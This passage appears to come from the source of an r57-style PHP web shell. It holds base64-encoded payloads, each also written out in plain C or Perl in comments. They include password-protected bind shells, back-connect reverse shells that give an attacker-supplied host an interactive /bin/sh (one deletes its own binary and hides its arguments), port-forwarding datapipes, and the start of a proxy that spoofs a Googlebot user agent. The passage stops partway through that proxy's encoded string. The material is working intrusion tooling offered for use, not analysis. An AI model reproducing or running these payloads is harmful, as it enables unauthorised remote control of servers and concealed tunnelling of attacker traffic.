lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
/* ??ST SATIRIN KIRILMI?? HAL? */
/*

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{  
 int sockfd, newfd;
 char buf[30];
 struct sockaddr_in remote;
 if(fork() == 0) { 
 remote.sin_family = AF_INET;
 remote.sin_port = htons(atoi(argv[1]));
 remote.sin_addr.s_addr = htonl(INADDR_ANY); 
 sockfd = socket(AF_INET,SOCK_STREAM,0);
 if(!sockfd) perror("socket error");
 bind(sockfd, (struct sockaddr *)&remote, 0x10);
 listen(sockfd, 5);
 while(1)
  {
   newfd=accept(sockfd,0,0);
   dup2(newfd,0);
   dup2(newfd,1);
   dup2(newfd,2);
   write(newfd,"Password:",10);
   read(newfd,buf,sizeof(buf));
   if (!chpass(argv[2],buf))
   system("echo welcome to r57 shell && /bin/bash -i");
   else
   fprintf(stderr,"Sorry");
   close(newfd);
  }
 }
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++) 
{
if(entered[i] == \'\n\')
entered[i] = \'\0\'; 
if(entered[i] == \'\r\')
entered[i] = \'\0\';
}
if (!strcmp(base,entered))
return 0;
}

*/

$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";

/* ??ST SATIRIN KIRILMI?? HAL? */
/*

#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname(\'tcp\');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}

*/

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

/* ??ST SATIRIN KIRILMI?? HAL? */
/*

#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= \'echo "`uname -a`";echo "`id`";/bin/sh\';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname(\'tcp\');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

*/

$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";


/* ??ST SATIRIN KIRILMI?? HAL? */
/*

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f "; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]); 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);  
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}

*/


$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";

/* ??ST SATIRIN KIRILMI?? HAL? */
/*

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <linux/time.h>
#ifdef STRERROR
extern char *sys_errlist[];
extern int sys_nerr;
char *undef = "Undefined error";
char *strerror(error)  
int error;  
{ 
if (error > sys_nerr)
return undef;
return sys_errlist[error];
}
#endif

main(argc, argv)  
  int argc;  
  char **argv;  
{ 
  int lsock, csock, osock;
  FILE *cfile;
  char buf[4096];
  struct sockaddr_in laddr, caddr, oaddr;
  int caddrlen = sizeof(caddr);
  fd_set fdsr, fdse;
  struct hostent *h;
  struct servent *s;
  int nbyt;
  unsigned long a;
  unsigned short oport;

  if (argc != 4) {
    fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
    return 30;
  }
  a = inet_addr(argv[3]);
  if (!(h = gethostbyname(argv[3])) &&
      !(h = gethostbyaddr(&a, 4, AF_INET))) {
    perror(argv[3]);
    return 25;
  }
  oport = atol(argv[2]);
  laddr.sin_port = htons((unsigned short)(atol(argv[1])));
  if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("socket");
    return 20;
  }
  laddr.sin_family = htons(AF_INET);
  laddr.sin_addr.s_addr = htonl(0);
  if (bind(lsock, &laddr, sizeof(laddr))) {
    perror("bind");
    return 20;
  }
  if (listen(lsock, 1)) {
    perror("listen");
    return 20;
  }
  if ((nbyt = fork()) == -1) {
    perror("fork");
    return 20;
  }
  if (nbyt > 0)
    return 0;
  setsid();
  while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
    cfile = fdopen(csock,"r+");
    if ((nbyt = fork()) == -1) {
      fprintf(cfile, "500 fork: %s\n", strerror(errno));
      shutdown(csock,2);
      fclose(cfile);
      continue;
    }
    if (nbyt == 0)
      goto gotsock;
    fclose(cfile);
    while (waitpid(-1, NULL, WNOHANG) > 0);
  }
  return 20;

 gotsock:
  if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    fprintf(cfile, "500 socket: %s\n", strerror(errno));
    goto quit1;
  }
  oaddr.sin_family = h->h_addrtype;
  oaddr.sin_port = htons(oport);
  memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
  if (connect(osock, &oaddr, sizeof(oaddr))) {
    fprintf(cfile, "500 connect: %s\n", strerror(errno));
    goto quit1;
  }
  while (1) {
    FD_ZERO(&fdsr);
    FD_ZERO(&fdse);
    FD_SET(csock,&fdsr);
    FD_SET(csock,&fdse);
    FD_SET(osock,&fdsr);
    FD_SET(osock,&fdse);
    if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
      fprintf(cfile, "500 select: %s\n", strerror(errno));
      goto quit2;
    }
    if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
      if ((nbyt = read(csock,buf,4096)) <= 0)
	goto quit2;
      if ((write(osock,buf,nbyt)) <= 0)
	goto quit2;
    } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
      if ((nbyt = read(osock,buf,4096)) <= 0)
	goto quit2;
      if ((write(csock,buf,nbyt)) <= 0)
	goto quit2;
    }
  }

 quit2:
  shutdown(osock,2);
  close(osock);
 quit1:
  fflush(cfile);
  shutdown(csock,2);
 quit0:
  fclose(cfile);
  return 0;
}

*/

$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";

/* ??ST SATIRIN KIRILMI?? HAL? */
/*

#!/usr/bin/perl
use IO::Socket;
use POSIX;
$localport = $ARGV[0];
$host      = $ARGV[1];
$port      = $ARGV[2];
$daemon=1;
$DIR = undef;
$| = 1;
if ($daemon){ $pid = fork; exit if $pid; die "$!" unless defined($pid); POSIX::setsid() or die "$!"; }
%o = (\'port\' => $localport,\'toport\' => $port,\'tohost\' => $host);
$ah = IO::Socket::INET->new(\'LocalPort\' => $localport,\'Reuse\' => 1,\'Listen\' => 10) || die "$!";
$SIG{\'CHLD\'} = \'IGNORE\';
$num = 0;
while (1) { 
$ch = $ah->accept(); if (!$ch) { print STDERR "$!\n"; next; }
++$num;
$pid = fork();
if (!defined($pid)) { print STDERR "$!\n"; } 
elsif ($pid == 0) { $ah->close(); Run(\%o, $ch, $num); } 
else { $ch->close(); }
}
sub Run {
my($o, $ch, $num) = @_;
my $th = IO::Socket::INET->new(\'PeerAddr\' => $o->{\'tohost\'},\'PeerPort\' => $o->{\'toport\'});
if (!$th) { exit 0; }
my $fh;
if ($o->{\'dir\'}) { $fh = Symbol::gensym(); open($fh, ">$o->{\'dir\'}/tunnel$num.log") or die "$!"; }
$ch->autoflush();
$th->autoflush();
while ($ch || $th) {
my $rin = "";
vec($rin, fileno($ch), 1) = 1 if $ch;
vec($rin, fileno($th), 1) = 1 if $th;
my($rout, $eout);
select($rout = $rin, undef, $eout = $rin, 120);
if (!$rout  &&  !$eout) {}
my $cbuffer = "";
my $tbuffer = "";
if ($ch && (vec($eout, fileno($ch), 1) || vec($rout, fileno($ch), 1))) {
my $result = sysread($ch, $tbuffer, 1024);
if (!defined($result)) {
print STDERR "$!\n";
exit 0;
}
if ($result == 0) { exit 0; }
}
if ($th  &&  (vec($eout, fileno($th), 1)  || vec($rout, fileno($th), 1))) {
my $result = sysread($th, $cbuffer, 1024);
if (!defined($result)) { print STDERR "$!\n"; exit 0; }
if ($result == 0) {exit 0;}
}
if ($fh  &&  $tbuffer) {(print $fh $tbuffer);}
while (my $len = length($tbuffer)) {
my $res = syswrite($th, $tbuffer, $len);
if ($res > 0) {$tbuffer = substr($tbuffer, $res);} 
else {print STDERR "$!\n";}
}
while (my $len = length($cbuffer)) {
my $res = syswrite($ch, $cbuffer, $len);
if ($res > 0) {$cbuffer = substr($cbuffer, $res);} 
else {print STDERR "$!\n";}
}}}


*/

$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
